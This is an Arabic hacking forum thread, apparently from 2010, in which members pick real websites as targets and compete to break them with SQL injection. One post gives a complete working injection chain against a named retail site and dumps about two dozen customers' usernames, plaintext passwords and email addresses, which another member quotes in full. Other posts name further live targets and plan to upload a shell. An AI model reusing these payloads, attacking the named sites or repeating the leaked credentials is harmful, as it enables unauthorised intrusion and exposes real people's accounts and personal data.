غرفة حقن قواعد البيانات {غرفة Sql }

d4rK-h4ck3r · 08-08-2010, 12:13 AM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الله ر


	طيب اسمحولي ان اضع لكم الهدف الجديد http://www.dosbrothers.com ما بعتقد ان هذا الهدف صعب بس حيكون مثل راحة بعد الهدف السابق هههههه معلش شباب بس هذا الهدف حيكون تسلية لكم هههه والله يا شباب الهدف السابق لم اوفق به كثيرا ياريت لو حدا منكم يعمل شرح ع السريع او هيك شي عن هذا النوع من الاهداف قصدي (level 3) ههه وفقكم الله

http://www.dosbrothers.com/opis.php?...m+adder_user--

d4rK-h4ck3r · 08-08-2010, 12:18 AM

http://www.dosbrothers.com/opis.php?...m+adder_user--

darkman.dz · 08-08-2010, 01:52 AM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الله ر


	اخي Syst3m-32 خود راحنك....... والله ياشباب انا ما كان قصدي اني خلي حدا يزعل بس والله ما حبيت ان تكملو الموضوع بدوني لاني بهالحالة ما كنت اقدر اكمل معاكم بس ان شاء الله بشفلي كم درس وخاصة درس الاخ Syst3m-32 وبرجع بقوة باذن واحد احد بالنسبة للاخ ooooo_darkman_ooooo حقنة سليمة 100% الله يعطيك العافية انا بحثا عن لوحة تحكم ولقيت هذه http://www.dosbrothers.com/admin.php بس ما يطلع فيها غير -> ما بعرف ليش هههه مو مشكلة شباب اما للأخ العزيز Master vbspiders مو مشكلة ابدا , اصلا نحنا صرنا بالصفحة الـ 16 وبظن صار لازم نرفع المستوى عن المستوى الاول شوي مهيك اخي لان الواحد لما بدو يخترق موقع حاطه بالو ما بيعرف قديش ح تكون صعوبته ☺ انا بظن ان هذه الغرقة هي افضل واحسن طريقة لكي نتدرب ونتعلم فن الحقن وبمستوياته (السهل ., المتوسط.., الصعب...) الله يجزيكم الخير ويعطيكم العافية

ههههههههههههههههههههههه
بالنسبة للوحة نفس الشيئ حدث معي ...........نفس المسار طلعتو و ظهر نفس ناتج المسار
هههههههههههههههههههههههههههههه

darkman.dz · 08-08-2010, 02:14 AM

هذا هو الهدف الجديد
وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]:
ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة
وهذا هو الرابط

كود:

http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--

Master vbspiders · 08-08-2010, 10:53 AM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	هذا هو الهدف الجديد وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]: ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة وهذا هو الرابط كود: http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--

كل ما بحاول احقنو بيطلع معي : Not Acceptable
ننتظر البقية ممكن يقدرو يحقنوه
تحياتي

kanvi · 08-08-2010, 12:33 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Master vbspiders


	كل ما بحاول احقنو بيطلع معي : Not Acceptable ننتظر البقية ممكن يقدرو يحقنوه تحياتي

تفضل اخي تم حقن الموقع:

هذه الحقنة 1:

كود PHP:

  http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)--

استخرجنا منها :
clientes:cli_password:petmour_petmourdbs

الحقنة الثانية:

كود PHP:

  http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573--

استخرجنا منها:

كود PHP:

  clientes:cli_id:petmour_petmourdbs,
 clientes:cli_login:petmour_petmourdbs,
 clientes:cli_password:petmour_petmourdbs,
 clientes:cli_nombres:petmour_petmourdbs,
 clientes:cli_apellidos:petmour_petmourdbs,
 clientes:cli_email:petmour_petmourdbs,
 clientes:cli_direccion1:petmour_petmourdbs,
 clientes:cli_direccion2:petmour_petmourdbs,
 clientes:cli_telefono

الحقنة النهائية:

كود PHP:

  http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes--

وهذه البسوردات واميلات الموجدة:

كود PHP:

  monbas:moni3651:moniqbastidas@hotmail.com,
 joguiss:homero:johanna701@hotmail.com,
 cayarce:CIRILO1301:pecoco@gmail.com,
 luish:fercho:gerencia@softcellcorp.com,
 pelusa:wallis:marlen_7vr@hotmail.com,
 rgergerger:hrdp7822:ffdf@op.net,
 vhanessa:1130610222:vhanessa_velasquez@hotmail.com,
 carito2908:heraldo2102:k-roline2908@hotmail.com,
 SarayViana:lusa2719:sarayviana@hotmail.com,
 jairo:12345:dr_cazapata@hotmail.com,
 EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com,
 Ivette:1802:ivettealtuzarra@hotmail.com,
 cazapata:12345:dr_cazapata@hotmail.com,
 pelusa04:wallis(1990):marlen_7vr@hotmail.com,
 maddy1107:871228:lalocamade@hotmail.com,
 lore:310310:petunia16_18@hotmail.com,
 anabolenar:a23317338:anabolenarestrepo@hotmail.com,
 martha cadena:marcecaca:marthaccc@yahoo.com,
 ramona:181006pai:posadagloria123@yahoo.com,
 natik:3260125:natalia_rincon@msn.com,
 Paola:susy1981:parg1525@hotmail.com,
 LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com,
 natalie:hanna:natacobo@hotmail.com,
 constanza rios:*conn1e:lucascon82@gmail.com,
 S3T:tazmania:martinpapaleo@hotmai

darkman.dz · 08-08-2010, 01:19 PM

تحية عطرة للأخ kanvi
لقد وجد الحقنة الصحيحة
و إستعمل الفلترة الصحيحة

عبد الله ر · 08-08-2010, 02:22 PM

اقتباس


	هذا هو الهدف الجديد وحقيقة أنا ما قدرت أكمل الحقنة ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة وهذا هو الرابط كود: http://www.petmour.com/productos.php...hema.columns--

مرحبا اخي ooooo_darkman_ooooo

انا جربت احقن الموقع ونجحت بذلك
بس والله سبقني الاخ kanvi بوضع الحل
مو مشكلة ان شاء الله المرة الجاية هههه

darkman.dz · 08-08-2010, 03:43 PM

عبد الله ر
=============
هههههههههههههههه
أنا فقط نسيت نفلتر ال table_name
و ال column_name
و ال table_schema
ههههههههههههههههههههههههههههههه

Master vbspiders · 08-08-2010, 03:47 PM

اقتباس

المشاركة الأصلية كتبت بواسطة kanvi


	تفضل اخي تم حقن الموقع: هذه الحقنة 1: كود PHP: `http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)--` استخرجنا منها : clientes:cli_password:petmour_petmourdbs الحقنة الثانية: كود PHP: `http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573--` استخرجنا منها: كود PHP: `clientes:cli_id:petmour_petmourdbs, clientes:cli_login:petmour_petmourdbs, clientes:cli_password:petmour_petmourdbs, clientes:cli_nombres:petmour_petmourdbs, clientes:cli_apellidos:petmour_petmourdbs, clientes:cli_email:petmour_petmourdbs, clientes:cli_direccion1:petmour_petmourdbs, clientes:cli_direccion2:petmour_petmourdbs, clientes:cli_telefono` الحقنة النهائية: كود PHP: `http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes--` وهذه البسوردات واميلات الموجدة: كود PHP: monbas:moni3651:moniqbastidas@hotmail.com, joguiss:homero:johanna701@hotmail.com, cayarce:CIRILO1301:pecoco@gmail.com, luish:fercho:gerencia@softcellcorp.com, pelusa:wallis:marlen_7vr@hotmail.com, rgergerger:hrdp7822:ffdf@op.net, vhanessa:1130610222:vhanessa_velasquez@hotmail.com, carito2908:heraldo2102:k-roline2908@hotmail.com, SarayViana:lusa2719:sarayviana@hotmail.com, jairo:12345:dr_cazapata@hotmail.com, EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com, Ivette:1802:ivettealtuzarra@hotmail.com, cazapata:12345:dr_cazapata@hotmail.com, pelusa04:wallis(1990):marlen_7vr@hotmail.com, maddy1107:871228:lalocamade@hotmail.com, lore:310310:petunia16_18@hotmail.com, anabolenar:a23317338:anabolenarestrepo@hotmail.com, martha cadena:marcecaca:marthaccc@yahoo.com, ramona:181006pai:posadagloria123@yahoo.com, natik:3260125:natalia_rincon@msn.com, Paola:susy1981:parg1525@hotmail.com, LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com, natalie:hanna:natacobo@hotmail.com, constanza rios:*conn1e:lucascon82@gmail.com, S3T:tazmania:martinpapaleo@hotmai

بطل والله
واصل
نورت الغرفة بمرورك...
تحياتي

darkman.dz · 08-08-2010, 03:51 PM

هل من أحد يضع الهدف الجديد أو أضع أنا

Amine_92 · 08-08-2010, 04:06 PM

مشككوووووووووووووور

darkman.dz · 08-08-2010, 04:38 PM

قبل وضع الهذف الجديد حبيت أنبهكم أنو فيه شيئ مهم بالنسبة لهذا الموقع راح نرفع عليه شل بكل راح لو الأعضاء شغلة مخهم شوية
وهو هذا
Powered-by: PHP/4.4.8
إصدار الphp هو 4
يعني فيه أمل أننا نحيي ثغرة قديمة وفتاكة قد إنقرضت بإذن الله
و اللي لازم تعرفوه على هذا الموقع أنه لايوجد فيه
1- عمود باس .........يعني لا ضير في أننا نستخدم برنامج havij
2- لوحة التحكم م أجدها
وهذا هو الموقع

كود:

http://www.hcjz.hr

TIKTAKram · 08-08-2010, 05:52 PM

آسف أخي ما عندي الوقت لهذا الموقع و الله

لأني بعمل الآن شرح على الموقع فيديو لكم أنتم

المهم...! مع الأول حاولت لكن لما تبين لي أن الموقع لغته غير مفهومة

و عدد الجداول كثيرة ما يعني لازم تجربهم كلهم لأن اللغة غير مفهومة من وين راح تعرف لي فيه الباسوارد

يعني لازم تجربهم كلهم

إن شاء الله لما اكمل الفيديو أحاول فيه

بالتوفيق

Mr-YouPli · 08-08-2010, 06:32 PM

شفتكم ناعسين

تفضلوا هذا الموقع به تغرة سهلة

http://rebeccaallen.com/v2/work/work.php?ID=1

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
العدد (3) من غرفة الحقن	darkman.dz	SQL قواعد البيانات	397	12-30-2010 01:23 PM
جهاز من غرفة جـنـسـيـة	MasTer MiND	Hackers Showoff	6	06-25-2009 04:01 PM

غرفة حقن قواعد البيانات {غرفة Sql }

SQL قواعد البيانات